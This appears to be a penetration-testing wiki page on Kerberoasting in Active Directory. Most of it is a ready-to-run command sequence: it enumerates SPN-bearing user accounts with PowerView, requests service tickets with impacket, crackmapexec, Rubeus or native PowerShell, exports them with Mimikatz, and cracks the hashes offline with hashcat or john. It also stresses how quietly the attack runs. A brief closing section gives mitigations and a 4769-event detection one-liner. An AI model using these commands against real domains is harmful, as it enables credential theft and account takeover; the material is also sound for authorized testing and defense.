Kerberoasting
All user accounts that have Service Principal Names (SPN's) set can be kerberoasted. In other words, their password hashes can be obtained which can then be cracked.
In order to perform the attack, we need to find service accounts which are also user accounts.
This attack can be performed as any user with legitimate credentials.
It is also a relatively silent technique because it leaves only one 4769 ID event on the log. And there can be up to thousands of these events daily.
Find Service Accounts as User Accounts
# PowerView
Get-NetUser -SPN | select samaccountname
# AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | select samaccountname
Then Grab the Hashes
From Linux
# impacket
python3 GetUserSPNs.py <domain>/<user> -request -dc-ip <ip>
# crackmapexec
crackmapexec ldap <ip> -u <user> -p <pass> --kerberoasting KERBEROASTING [--kdcHost <dc-ip>]
Grabbing Hashes Directly From Powershell
With Rubeus
.\Rubeus.exe kerberoast /outfile:<output_file>
Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat [Hashcat/John]
Creating TGS's and Exporting the Tickets
Method 1: PowerView
Request-SPNTicket -SPN "<kerberoastable_service>/<kerberoastable_service_domain>"
Method 2: Using Native Windows Commands
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<kerberoastable_service>/<kerberoastable_service_domain>"
Then Export the Ticket with Mimikatz
Invoke-Mimikatz -Command ‘"kerberos::list /export"’
Cracking Tickets Offline
# First convert the ticket into a crackable hash
kirbi2john ticket.kirbi > hashfile.txt
# Then use hashcat to crack it...
hashcat -m 13100 hashfile.txt rockyou.txt
# or john
john hashfile.txt -wordlist=rockyou.txt
Don't bother with tgsrepcrack.py. It is way too slow in comparison.
Mitigations
Make the service account passwords very long and hard to guess to decrease the chances of those hashes being cracked.
Use Managed Service Accounts and change those passwords regularly if possible.
When monitoring 4769 events, filter out krbtgt and service names that do not start with '$'.
Also, filter out '@' to remove machine account requests.
There is also an effective Powershell one-liner you can use (but avoid in production environments):
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 |?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select -ExpandProperty message
Last updated